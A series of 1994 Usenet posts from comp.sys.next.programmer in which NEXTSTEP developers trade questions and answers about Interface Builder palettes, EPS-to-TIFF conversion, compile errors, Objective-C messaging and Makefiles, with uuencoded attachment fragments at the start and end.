M4W1O<F4]6UM3=&]R86=E(&%L;&]C1G)O;5IO;F4Z6W-E;&8@>F]N95U=7`H) M"6EN:71#;W5N=#HP(%P*"0EE;&5M96YT4VEZ93IS:7IE;V8H251%35-44E5# M5"E<"@D)9&5S8W)I<'1I;VXZ(EQ[6S$P8UUD7'TB73M<"@ER971U<FX@<V5L M9CM<"EQ]7`I<"BT@9G)E95P*7'M<"@E;6W1H95-T;W)E(&5M<'1Y72!F<F5E M73M<"@ER971U<FX@6W-U<&5R(&9R965=.UP*7'U<"EP*+2!A9&1)=&5M.G-E M;F1E<EP*7'M<"@E)5$5-4U1254-4(&%N271E;3M<"EP*"7-T<FYC<'DH86Y) M=&5M+FET96U.86UE+%MN86UE1FEE;&0@<W1R:6YG5F%L=65=+#$P*3M<"@EA M;DET96TN:71E;4YA;65;,3!=/3`[7`H)86Y)=&5M+FET96U#;W-T/5MP<FEC M949I96QD(&1O=6)L959A;'5E73M<"@E;=&AE4W1O<F4@861D16QE;65N=#HF M86Y)=&5M73M<"@ER971U<FX@<V5L9CM<"EQ]7`I<"BT@9'5M<%-T;W)E.G-E M;F1E<EP*7'M<"@E)5$5-4U1254-4(&%N271E;3M<"@EI;G0@:2QL96X[7`H) M7`H);&5N/5MT:&53=&]R92!C;W5N=%T[7`H)9F]R("AI/3`[:3QL96X[:2LK M*2!<>UP*"0EA;DET96T]("HH251%35-44E5#5"`J*2!;=&AE4W1O<F4@96QE M;65N=$%T.FE=.UP*"0E.6$QO9T5R<F]R*"))=&5M3F%M93TE<UQ<=%!R:6-E M/25F7%QN(BQA;DET96TN:71E;4YA;64L86Y)=&5M+FET96U#;W-T*3M<"@E< M?5P*"7)E='5R;B!S96QF.UP*7'U<"EP*+2!T<F%S:%-T;W)E.G-E;F1E<B!< B>R!R971U<FX@6W1H95-T;W)E(&5M<'1Y73L@7'U<"@I]"G)E `
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: v1.4 of some WavesWorld IB palettes (tcl & 3D) Message-ID: <1994May3.115619.17911@news.media.mit.edu> Followup-To: wave@media.mit.edu Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Tue, 3 May 1994 11:56:19 GMT some WavesWorld IB palettes (tcl & 3D) 1.4 ------------------------------------------ Well, due in no small part to the heartening number of shareware checks I've received (not many, but heartening...), as well as the fact that I've found and fixed a fair number of bugs recently, I'm making the latest version of some of my WavesWorld IB palettes available for anonymous ftp at my usual place, media.mit.edu:pub/WavesWorld. This version has a couple of significant bug fixes to both the WWTCLWidgets palette and the WW3D palette. As before, I *don't* really want this to migrate to the standard NeXT ftp sites, so in case there are some horrible problems, I want to be able pull the code off easily. I didn't really feel like it ended up being worth my time to package things up as an Installer pkg last time, so I've simply made two different distributions, both of which are just 3.2 Workspace-compressed files which should be put in /LocalDeveloper and then uncompressed with the Workspace. I don't think this will work in 3.1; sorry. I don't have 3.1 here, and there were a couple of gnutar bugs in 3.1, and my stuff uses really long pathnames, so I don't know that there's anything that can be done. The two distributions are basically one big one for people with bandwidth to burn, and a smaller version for people who want to compile it themselves and already have tcl7.3 installed. Given that there are 57 classes in the WWTCLWidgets palette and 64 classes in the WW3DPalette, ya gotta expect that it's gonna be big either way... The big one is 3.6MB compressed, and 9.2MB uncompressed. The smaller one is 1.6MB compressed, and 4.6MB uncompressed. Note that if you want to compile this stuff MAB yourself, you're going to need a fair amount of disk space. If can afford it, I really recommend just grabbing the bigger distribution and use the precompiled MAB palettes there; it will save you the initial hassle and you can start playing sooner (and decide if it's worth your while to go and compile the libraries, headers, etc.). Also note that if you are beta testing the HP release you should talk to me before trying to use this stuff there... For those who've gotten this far but still have no idea what I'm talking about: these are two palettes I wrote last summer (and have since extensively debugged and UI-ified) that extend IB in two orthogonal ways. The first palette, WWTCLWidgets, allows you to build entire applications inside of IB and run them in test interface mode. It provides an objective-C wrapper around a tcl interp, and a set of UI objects that can communicate with the interp. Tcl is the "tool command language", a wildly popular extensible, embeddable command language written by John Ousterhout at UCal Berkeley. The second palette, WW3D, builds on the first for doing 3D stuff. It provides a UI object, WW3DWell, which is basically an entire application in a single object. Inside of test interface mode in IB, you can load in models, inspect them, manipulate them, photorealistically render them, add and manipulate shaders, etc. etc. If this sounds interesting, please, take the time to download these palettes and give me feedback. I'm still kinda disappointed with the lack of actual critical comments that I've gotten, although the few of you who have sent in shareware checks have cheered me up. I'd like to get some real feedback this time, or I might just stop making this stuff available to the rest of y'all... Looking forward to hearing from you. Michael B. Johnson wave@media.mit.edu Computer Graphics & Animation Group MIT Media Lab -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: silver@shakti.ncst.ernet.in (Silverline Industries Ltd.) Subject: NEXTSTEP GURU IN INDIA Message-ID: <Cp7JK8.3E1@shakti.ncst.ernet.in> Organization: National Centre for Software Technology, India Date: Tue, 3 May 1994 03:40:56 GMT Hello If you are a NEXTSTEP experienced person and can program in Objective C - Please call 91 22 838 3619 thank you,
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion Date: 3 May 1994 13:51:58 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2q5ktu$ct3@paperboy.gsfc.nasa.gov> References: <Cp657q.2ro@hazel.north.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <Cp657q.2ro@hazel.north.de> gmd@hazel.north.de (Gerriet M. Denkmann) writes: > I am trying to convert EPS to TIFF in a representation *different* from my > screen. > > For example: I have a two bit gray screen and want to convert EPS to 24 > bit rgb TIFF. > > Does anybody know how to do this? I tried all I could think of, but with > no success at all. > > Any hints will be very much appreciated. > > Gerriet. I'd like to know the answer to that one too. HELP, WIZARDS!!! It ought to be easy , since NeXT understands TIFF and EPS quite well. Certainly, DPS knows how to rasterize EPS files, and if you could intercept the raster version, it wouldn't be hard to put it in TIFF format. If you display a 24-bit image on your screen, it gets dithered for your display. But you still get the full color version if you print the displayed image on a 24-bit printer, like for example the Tektronix Phaser IISD. SO, you OUGHT to be able to make a rasterized EPS file using the PrintPanel. BUT THE FOLLOWING DOESN'T WORK: Install a 24-bit printer, display your image, Com-P to get the PrintPanel, select the 24-bit printer, hit "Save", set the popup list to "Postscript for chosen printer", type a filename and hit RETURN. BUT, the resulting file is NOT rasterized --- that still gets done either inside the printer or inside lpr. Even for the NeXT printers, where lpr supposedly rasterizes, redirecting lpr to a file also fails. I guess you could use GhostScript, but isn't there a way using native NeXT tools? Anybody? --Bob-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Max. number of palettes in IB ? Date: 03 May 1994 12:08:20 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May3130820@steffi.demon.co.uk> References: <2q50n0$8o1@wsiserv.informatik.uni-tuebingen.de> To: lauer@informatik.uni-tuebingen.de (Harald Lauer) In-reply-to: lauer@informatik.uni-tuebingen.de's message of 3 May 1994 08:06:56 GMT >>>>> "Harald" == Harald Lauer <lauer@informatik.uni-tuebingen.de> writes: Harald> Hi, Harald> I've run into a wierd problem recently. When I loaded all palettes on my Harald> system (MOKit, MiscKit, IconKit, ThumbWheel, ... - > 30 in total) and Harald> quit IB, he won't start up again :-(. There was an error message on the Harald> console (IB error with a number; not more) and an alert panel containing Harald> a message that some method couldn't be found - but no IB. Harald> When I reduced the number of loaded palettes to 22 (!), everything worked Harald> fine. I even tried a random order and left out DBkit, but 22 seemed to be Harald> the maximum number of loadable palettes. Did I miss something ? If not, Harald> why such a wierd number ? Harald> Bye, Are you sure about this maximum number theory? Did you get "duplicate symbol defined" type errors? If you have a palette that is using a class defined in another _currently loaded_ palette and rld will that this class is already known to IB. That's my theory.. I see no reason why IB should limit the number of palettes. However, I assume you have a lot of memory or keep IB running continously to want that configuration. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Archie update Date: 3 May 1994 13:28:59 GMT Organization: MCSNet Services Distribution: world Message-ID: <2q5jis$osk@News1.mcs.com> Keywords: Archie, Prospero Archie 2.12, May 2 1994 binary update on cs.orst.edu in pub/next/submissions, usually moved to pub/next/binaries/wide-area-info: Archie_212.tar.gz size: 450620 bytes sum: 18130 441 This version fixes: 1. Crashes during addition of FTP hosts. 2. Crashes if double clicked on button in info panel. 3. Couple other problems I found. Adds: 1. FTP transfer directory to preferences. 2. Min size constraint on session windows. Scott starksm@genesis.mcs.com -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: (Albatross) Subject: Re: Another Taylor UUCP Compile Problem Message-ID: <Cp8EzF.52F@haquer.uucp> Sender: alby@haquer.uucp (Albatross) Organization: The Empire Organization {TEO} References: <westesCozIBK.A9E@netcom.com> Date: Tue, 3 May 1994 14:59:38 GMT Do you have this file? /NextDeveloper/Headers/bsd/sys/dir.h? Or is the program looking at that file when it is trying to compile? -Alby > During compile of the picksb.c module in the unix subdirectory off the install > directory, I get: > > picksb.c.57: undefined type, found `DIR' > picksb.c.63: undefined type, found `DIR' > > The relevant lines around line 57 from picksb.c are: > > #if HAVE_OPENDIR > #if HAVE_DIRENT_H > #include <dirent.h> > #else /* ! HAVE_DIRENT_H */ > #include <sys/dir.h> > #define dirent direct > #endif /* ! HAVE_DIRENT_H */ > #endif /* HAVE_OPENDIR */ > > #if GETPWUID_DECLARATION_OK > #ifndef getpwuid > extern struct passwd *getpwuid (); > #endif > #endif > > /* Local variables. */ > > /* Directory of ~/receive/USER. */ > static DIR *qStopdir; > > What's the workaround? > > -- > Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.programmer From: robert@ictv.com (Robert Patrick Thille) Subject: Re: EPS to TIFF conversion Message-ID: <1994May3.165752.25324@ictv.com> Sender: usenet@ictv.com Organization: ICTV, Santa Clara, CA (408) 562-9200 References: <2q5ktu$ct3@paperboy.gsfc.nasa.gov> Date: Tue, 3 May 1994 16:57:52 GMT Robert F. Cahalan writes > In article <Cp657q.2ro@hazel.north.de> gmd@hazel.north.de (Gerriet M. > Denkmann) writes: > > I am trying to convert EPS to TIFF in a representation *different* from > my > > screen. > > > > For example: I have a two bit gray screen and want to convert EPS to 24 > > bit rgb TIFF. > > > > Does anybody know how to do this? I tried all I could think of, but with > > no success at all. > > > > Any hints will be very much appreciated. > > > > Gerriet. > If you want an application to behave as if it's running on a 24bit system, you just have to set a dwrite for it like this. dwrite APPNAME NXWindowDepthLimit TestTwentyFourBitRGB If you want to limit an application to a max, leave out the Test, and use one of the other values like: woBitGrayightBitGraywelveBitRGBwentyFourBitRGB I do this for Edit and Terminal, so they don't use up more memory than they need to. See GeneralRef/ApB_Defaults/Defaults.rtf and ReleaseNotes/AppKit.rtf in the NextDev documentation. Then, you can just do a "Save As..." and save it as tiff, from ImageViewer. > I'd like to know the answer to that one too. HELP, WIZARDS!!! > It ought to be easy , since NeXT understands TIFF and EPS quite well. > Certainly, DPS knows how to rasterize EPS files, and if you could > intercept the raster version, it wouldn't be hard to put it in TIFF > format. If you display a 24-bit image on your screen, it gets dithered > for your display. But you still get the full color version if you print > the displayed image on a 24-bit printer, like for example the Tektronix > Phaser IISD. SO, you OUGHT to be able to make a rasterized EPS file using > the PrintPanel. BUT THE FOLLOWING DOESN'T WORK: Install a 24-bit > printer, display your image, Com-P to get the PrintPanel, select the > 24-bit printer, hit "Save", set the popup list to "Postscript for chosen > printer", type a filename and hit RETURN. BUT, the resulting file is NOT > rasterized --- that still gets done either inside the printer or inside > lpr. Even for the NeXT printers, where lpr supposedly rasterizes, > redirecting lpr to a file also fails. > I guess you could use GhostScript, but isn't there a way using native NeXT > tools? Anybody? If you want to rasterize EPS, take a look at the NXImage class and NXBitmapImageRep and NXEPSImageRep classes. The program you are thinking of should be about 20 lines long. Robert -- Robert Thille NeXTMail robert@ictv.com OK 660 Bair Island Rd #40 Redwood City CA 94063 PGP Public Key via finger
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: How to subclass TextField? Date: 3 May 1994 17:29:24 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2q61lk$gek@netnews.upenn.edu> Hi, How does one subclass a the TextField class and get it to appear in a window in IB. I'm able to subclass TextField, and I'm able to drag a textfield from the standard control palette into a window, but I'm unable to assign my new subclass to an on-screen control. A class selector browser does nota appear in the inspector for the TextField object. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: EPS to TIFF conversion In-Reply-To: cahalan@clouds.gsfc.nasa.gov's message of 3 May 1994 13:51:58 GMT Message-ID: <BYER.94May3115952@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <Cp657q.2ro@hazel.north.de> <2q5ktu$ct3@paperboy.gsfc.nasa.gov> Date: Tue, 3 May 1994 18:59:52 GMT Robert F Cahalan writes: <Converting EPS to TIFF> IconBuilder does just what you want. I just created a black-to-red blend on my NeXT mono in Illustrator, loaded it into IconBuilder, and saved it as TIFF. The resulting 24-bit TIFF displayed just like it should on my color SPARCstation. "No problem." -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 3 May 1994 14:46:29 -0400 Organization: Next Announcements Message-ID: <2q6665$r65@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: NEXTSTEP World Wide Web Product Information Server online NEXTSTEP Product Information Mail Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers Much of this information is also available using the World Wide Web, <http://digifix.digifix.com/index.html> Stepwise NEXTSTEP/OpenStep WWW Information Server online --------------------------------------------------------- A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. NEXTSTEP Product Information Mail Server online --------------------------------------------------------- The NEXTSTEP Product Information Mail Server is now available for product literature and pricing from NEXTSTEP developers. You can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: tab stops in HeaderViewer Message-ID: <1994May3.191827.22594@pcp.ca> Keywords: HeaderViewer, tab Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Tue, 3 May 94 19:18:27 GMT Hello there: Is there a way to set the tab stops for HeaderViewer when it displays the h files? I create them using a tab stop of 4 and HeaderViewer then displays them with a tab stop of 8, which then messes up all the indentation levels. Please e-mail me and I'll summarize. Thanks in advance, Alex alex@oolesson.com Nghiem_Alex@pcp.ca
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: How do you send messages w/ multiple arguments at run-time? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994May03.194450.25053@cs.ucla.edu> Date: Tue, 03 May 94 19:44:50 GMT Hi, What's the best way to send messages with varibale arguments to an arbitrary object at runtime? I *was* going to use -performv::, but for some reason it is not recommended to use this method outside the context of -forward:: (at least in NeXT's implementation, -performv:: is intended only for use within -forward:: and may not work outside of this method in future releases). Can you use objc_msgSendv() instead? Again, the documentation says that the objc_msg...() functions should not be used by the programmer. [Sigh] :-( I'd appreciate any suggestions. - Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
From: axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) Newsgroups: comp.sys.next.programmer Subject: Re: Porting to NeXTSTEP Date: 4 May 1994 08:33:08 +0200 Organization: das organisierte Chaos Message-ID: <AXEL.94May4083307@tumbolia.ppp.informatik.uni-muenchen.de> References: <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> <SWIET.94Apr30175352@syzygy.cs.jhu.edu> In-reply-to: swiet@syzygy.cs.jhu.edu's message of 30 Apr 1994 21:53:52 GMT In article <SWIET.94Apr30175352@syzygy.cs.jhu.edu> swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) writes: In article <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) writes: But I have failed miserably so far. Has anybody else made the experience, that a program terminates (with bus error, memory exception, depending on the program) _before_ it enters main() ? Have you declared some really large auto arrays? My guess is that you've blown the stack. Try increasing the stack size from the shell. Just a guess, since there was no example code. Thanx for the tip. I increased the stack size up to 8 MB (as it is on the HP machines where the programs run), but it didn't help at all. The problem with the example code is, that there are 93 C modules, and I have no idea, where to look for the failure. But I included the backtrace from one of the programs in gdb; maybe someone mor experienced than I can see something in there? (This time I linked the program with -lMallocDebug hoping that this could be helpful, but it wasn't either; without the MallocDebug the program would terminate at the same place but the calls after malloc would look a bit different - what a surprise.) (gdb) r Starting program: /home/axel/obs/OBSclient Program generated(3): Arithmetic exception. Reading in symbols for CMNcomm_loc.c...done. 0x1282e in NXSwapDouble () at /NextDeveloper/Headers/architecture/m68k/byte_order.h:151 151 } (gdb) backtrace Reading in symbols for CMNlock_eng.c...done. #0 0x1282e in NXSwapDouble () at /NextDeveloper/Headers/architecture/m68k/byte_order.h:151 #1 0x12942 in NXSwapDouble () at /NextDeveloper/Headers/architecture/m68k/byte_order.h:151 #2 0x13080 in myclass_createInstanceFromZone () #3 0x135d8 in malloc () #4 0x135aa in malloc () #5 0x1513e in _flsbuf () #6 0x1c400 in _doprnt () #7 0x14e24 in printf () #8 0x3d00 in Lock_From_English (target=0x3fffba8 "xho") at CMNlock_eng.c:46 (gdb) Thanx for any tips, hints etc. in advance, Axel. -- aseibert@tumbolia.ppp.informatik.uni-muenchen.de (NeXTmail welcome) seiberta@informatik.tu-muenchen.de (please no NeXTmail here!) You are young only once, but you can stay immature indefinitely.
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: mccallum@cs.rochester.edu (Andrew McCallum) Subject: Re: How do you send messages w/ multiple arguments at run-time? In-Reply-To: esky@marathon.cs.ucla.edu's message of 3 May 94 19:44:50 GMT Message-ID: <MCCALLUM.94May3195310@vein.cs.rochester.edu> Sender: mccallum@cs.rochester.edu (Andrew McCallum) Organization: Dept. of Computer Science, University of Rochester References: <1994May03.194450.25053@cs.ucla.edu> Date: 03 May 1994 23:53:10 GMT I assume you mean variable *number* of arguments? Here's an example from the libcoll source: - addObjectsCount: (unsigned)count, ... { va_list ap; CHECK_CONTAINS_OBJECTS_ERROR(); va_start(ap, count); while (count--) [self addElement:va_arg(ap, id)]; va_end(ap); return self; } -- R. Andrew McCallum EBOX: mccallum@cs.rochester.edu Computer Science Department VOX: (716) 275-2527 University of Rochester FAX: (716) 461-2018 Rochester, NY 14627-0226 FEET: CSB Rm. 625
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Hints on using Emacs for NeXTstep Message-ID: <1994May3.000506.14124@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr30.134843.7768@vnp.com> Date: Tue, 3 May 1994 00:05:06 GMT Carl, I think all-in-all, Emacs 4.0 is a vast improvement over Emacs.app. What with the PB support, I think that makes everything worthwhile. Sorry you've had to deal with so many differing opinions about the product! Keep up the good work! I have a question on the internals of how Emacs works, though. I rearranged the Menu options and would like to add a simple preferences panel, specifically for the FrameSize of the default window. You have a method called ns_report_frame_params. How can this be used ? Is there any way I can use this to have my "current window" frame written through to the DefaultSystem? Also, how do you read the Defaults in Emacs???? I didn't find and references to NXGetDefaultValue, or anything??? Can you help? Thanks, Rik (cousens@biztech.com)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Makefile dependencies example needed Message-ID: <1994May3.001506.14184@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2prbc4$rk1@marsupial.jpl.nasa.gov> Date: Tue, 3 May 1994 00:15:06 GMT John, 1) why not just do a 'make depend', which SHOULD produce the correct dependency listing in Makefile.dependencies? If you do this, things should work just dandy!?!? The only thing you need to do from then on, is simply 'make depend' when you change the #imports/#includes in the .m/.c files. 2) one way of doing this is to write several categories for the MyObject class. e.g. MyObject.m: @implementation MyObject /* the Main module with all methods like -someMethod:sender */ @end MyObject1.m: @implementation MyObject(SecondaryMethods) .. @end MyObject2.m: @implementation MyObject(TertiaryMethods) .. @end I wonder about the need to do this, though. If you design you objects correctly, you shouldn't need these categories. You may want do reconsider your design, since it seems like you're overloading (by this I mean putting too many demands upon) the MyObject class. Perhaps you can do some subclassing to give you all the functionality you need, instead of building in EVERY SINGLE thing you need in one class? Hope this helps, Rik (cousens@biztech.com) -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,5QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($IO:&XL7`I<"C$I M('=H>2!N;W0@:G5S="!D;R!A("=M86ME(&1E<&5N9"<L('=H:6-H(%-(3U5, M1"!P<F]D=6-E('1H92!C;W)R96-T(&1E<&5N9&5N8WD@;&ES=&EN9R!I;B!- M86ME9FEL92YD97!E;F1E;F-I97,_("!)9B!Y;W4@9&\@=&AI<RP@=&AI;F=S M('-H;W5L9"!W;W)K(&IU<W0@9&%N9'DA/R$_("!4:&4@;VYL>2!T:&EN9R!Y M;W4@;F5E9"!T;R!D;R!F<F]M('1H96X@;VXL(&ES('-I;7!L>2`G;6%K92!D M97!E;F0G('=H96X@>6]U(&-H86YG92!T:&4@(VEM<&]R=',O(VEN8VQU9&5S M(&EN('1H92`N;2\N8R!F:6QE<RY<"EP*,BD@;VYE('=A>2!O9B!D;VEN9R!T M:&ES(&ES('1O('=R:71E('-E=F5R86P@8V%T96=O<FEE<R!F;W(@=&AE($UY M3V)J96-T(&-L87-S+B`@92YG+EP*37E/8FIE8W0N;3I<"EP*0&EM<&QE;65N 